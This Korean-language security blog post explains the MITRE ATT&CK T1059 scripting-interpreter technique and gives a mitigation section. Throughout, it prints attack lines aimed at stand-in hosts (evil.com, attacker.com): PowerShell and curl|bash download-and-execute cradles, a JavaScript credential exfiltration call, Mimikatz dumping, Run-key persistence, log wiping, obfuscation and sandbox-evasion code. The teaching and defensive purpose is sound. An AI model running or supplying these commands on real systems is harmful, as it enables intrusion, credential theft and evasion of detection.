COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE T1059 Command and Scripting Interpreter 기법의 동작 원리를 분석합니다. 302,443개 악성코드가 사용한 인터프리터 악용 방법과 13가지 서브 기법, 탐지 회피 전략까지 상세히 해부합니다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Picus의 2025년 Red Report에 따르면, 약 100만 개 악성코드 샘플 중 302,443개(29%)가 T1059 기법을 사용했다. 적대자들이 가장 선호하는 실행 방법이 무엇인지 보여주는 수치다.
과거 악성코드는 컴파일된 실행 파일로 배포되었다. 안티바이러스의 시그니처 탐지에 쉽게 걸렸다.
스크립트 기반 공격은 다르다. 정상적인 시스템 도구로 코드를 실시간 해석·실행하므로 탐지가 어렵다. 파일리스 공격도 가능하다.
T1059 Command and Scripting Interpreter는 적대자가 시스템 인터프리터를 악용해 명령과 스크립트를 실행하는 기법이다.
핵심은 Living off the Land 전략이다. 정상 시스템 도구를 사용하기 때문에 다음과 같은 이점이 있다.
과거 악성코드는 컴파일된 실행 파일 형태였다. malware.exe를 배포하면 안티바이러스가 파일 해시나 시그니처로 탐지했다. 스크립트 기반 공격은 접근법 자체가 다르다.
전통적 방식의 문제점:
스크립트 기반 공격의 장점:
APT29 (Cozy Bear)의 PowerShell 활용:
Lazarus 그룹의 다중 스크립트 공격:
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. — MITRE ATT&CK T1059
핵심은 '정상적인 시스템 기능의 악용'이다. 공격자는 새로운 도구를 설치하지 않는다. 운영체제에 내장된 인터프리터로 악성 활동을 수행한다.
T1059는 4가지 요소로 구성된다.
| 용어 | 설명 |
|---|---|
| 명령 인터프리터 | 역할: 사용자 명령을 직접 실행 / 특징: 대화형, 단일 명령 처리 / 예시: cmd.exe, bash |
| 스크립트 인터프리터 | 역할: 스크립트 파일을 순차 실행 / 특징: 배치 처리, 복잡한 로직 가능 / 예시: PowerShell, Python |
| 매크로 엔진 | 역할: 애플리케이션 내 자동화 / 특징: 특정 소프트웨어에 종속 / 예시: VBA, JavaScript |
| API 인터페이스 | 역할: 시스템 기능에 직접 접근 / 특징: 프로그래밍 방식 호출 / 예시: REST API, WMI |
| 하이퍼바이저 CLI | 역할: 가상화 환경 제어 / 특징: 인프라 수준 권한 / 예시: ESXi CLI, Hyper-V |
T1059는 다음 서브 기법들로 세분화된다.
T1059의 실행 과정은 5단계로 이루어진다.
스크립트를 대상 시스템에 전달하는 방법은 여러 가지다.
파일 기반 전달:
# PowerShell 스크립트 파일 실행
powershell.exe -ExecutionPolicy Bypass -File malicious.ps1
인라인 명령:
# 직접 명령 실행 (파일리스)
powershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
인코딩된 명령:
# Base64 인코딩으로 탐지 회피
powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
인터프리터는 전달받은 코드를 다음 과정으로 처리한다.
# Python 인터프리터의 코드 해석 과정 예시
import ast
import sys
def parse_and_execute(code):
try:
# 1. 구문 분석 (Lexical Analysis)
tokens = tokenize(code)
# 2. 추상 구문 트리 생성 (AST)
tree = ast.parse(code)
# 3. 바이트코드 컴파일
bytecode = compile(tree, '<string>', 'exec')
# 4. 실행
exec(bytecode)
except SyntaxError as e:
print(f"구문 오류: {e}")
파싱 과정의 상세 단계:
인터프리터는 OS API를 통해 시스템 기능에 접근한다.
Windows API 접근:
# WMI를 통한 프로세스 정보 수집
Get-WmiObject -Class Win32_Process | Select-Object Name, ProcessId, CommandLine
# 레지스트리 조작
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "Malware" -Value "C:\temp\evil.exe"
# .NET Framework 직접 호출
Add-Type -TypeDefinition '
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
}'
Unix 시스템 호출:
# 시스템 정보 수집
uname -a; whoami; id; ps aux
# 파일 시스템 접근
find / -name "*.ssh" 2>/dev/null
cat /etc/passwd | grep -v nologin
# 네트워크 연결 확인
netstat -an | grep LISTEN
인터프리터가 접근하는 시스템 리소스는 다음과 같다.
파일 시스템 조작:
import os
import shutil
# 디렉터리 탐색
for root, dirs, files in os.walk('/home'):
for file in files:
if file.endswith(('.txt', '.doc', '.pdf')):
print(os.path.join(root, file))
# 파일 복사 및 이동
shutil.copy2('/etc/passwd', '/tmp/backup')
네트워크 통신:
// JavaScript를 통한 HTTP 요청
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/command.txt', false);
xhr.send();
var command = xhr.responseText;
eval(command);
프로세스 제어:
# 백그라운드 프로세스 실행
nohup python3 /tmp/backdoor.py > /dev/null 2>&1 &
# 프로세스 종료
pkill -f "antivirus"
실행 결과는 다음 방법으로 공격자에게 전달된다.
// JavaScript를 통한 데이터 유출
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
hostname: window.location.hostname,
data: stolen_credentials,
timestamp: Date.now()
}));
로그 삭제 및 흔적 제거:
# Windows 이벤트 로그 삭제
Clear-EventLog -LogName "Security", "System", "Application"
# PowerShell 명령 기록 삭제
Remove-Item (Get-PSReadlineOption).HistorySavePath
각 인터프리터는 고유한 특징과 공격 활용도가 있다.
PowerShell (T1059.001):
Python (T1059.006):
Bash/Shell (T1059.004):
스크립트 기반 공격의 핵심은 파일리스 실행이다. 메모리 내에서만 동작한다.
# 원격 스크립트를 메모리로 직접 로딩
$code = (New-Object System.Net.WebClient).DownloadString('http://evil.com/payload.ps1')
Invoke-Expression $code
# .NET Assembly를 메모리에서 직접 실행
$bytes = [System.Convert]::FromBase64String($base64Assembly)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @())
디스크에 파일을 쓰지 않는다. 파일 기반 스캐너로는 탐지하기 어려운 이유다.
난독화 (Obfuscation):
# 원본 명령
Get-Process
# 문자열 분할 난독화
&('Get-Pr'+'ocess')
# Base64 인코딩 난독화
$encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('Get-Process'))
iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)))
환경 변수 활용:
# 명령을 환경 변수에 숨김
export PAYLOAD="curl -s http://evil.com/shell.sh | bash"
eval $PAYLOAD
조건부 실행:
import time
import os
import random
# 샌드박스 탐지 회피
def is_sandbox():
# CPU 코어 수 확인
if os.cpu_count() < 2:
return True
# 메모리 크기 확인
with open('/proc/meminfo', 'r') as f:
mem_info = f.read()
if 'MemTotal:' in mem_info:
mem_kb = int(mem_info.split('MemTotal:')[1].split('kB')[0].strip())
if mem_kb < 2000000: # 2GB 미만
return True
return False
if not is_sandbox():
time.sleep(random.randint(300, 600)) # 5-10분 대기
# 실제 페이로드 실행
execute_payload()
스크립트 실행 정책 강화:
# PowerShell Constrained Language Mode 적용
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
# 스크립트 블록 로깅 활성화
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
행위 기반 탐지:
애플리케이션 화이트리스팅:
<FilePathRule Id="PowerShell-Block" Name="Block PowerShell" Description="Block PowerShell execution" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" />
</Conditions>
</FilePathRule>
로그 모니터링 및 분석:
시나리오 1: PowerShell을 이용한 메모리 내 실행
공격자는 다음 PowerShell 명령으로 전체 공격을 수행한다.
# 원격 스크립트 다운로드 및 실행 (파일리스)
IEX (New-Object Net.WebClient).DownloadString('https://evil.com/stage1.ps1')
# 시스템 정보 수집
$env:COMPUTERNAME; $env:USERNAME; Get-WmiObject Win32_OperatingSystem
# 자격증명 덤핑 (Mimikatz 모듈 사용)
IEX (New-Object Net.WebClient).DownloadString('https://evil.com/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
# 지속성 확보 (레지스트리 키 생성)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SecurityUpdate" -Value "powershell.exe -w hidden -c IEX..."
시나리오 2: 다중 인터프리터 체인 공격
정교한 APT 그룹은 여러 인터프리터를 연쇄적으로 사용한다.
# Bash를 통한 초기 정찰
curl -s http://evil.com/recon.sh | bash
# Python으로 고급 페이로드 실행
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://evil.com/payload.py').read())"
# Node.js로 웹 기반 백도어 설치
node -e "require('https').get('https://evil.com/backdoor.js', r => r.on('data', d => eval(d.toString())))"
T1059는 정상 시스템 도구를 악용해 악성 코드를 실행하는 기법이다. APT 그룹이 가장 보편적으로 활용하는 실행 방법이다.
핵심은 정상과 악성의 경계를 모호하게 만드는 것이다. PowerShell, Python, Bash는 시스템 관리자에게 업무 도구다. 그러나 공격자에게는 강력한 무기가 된다.
서브 기법도 참고할 수 있다. PowerShell 난독화 기법 | T1059.001, Python 스크립트 공격 | T1059.006 등이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.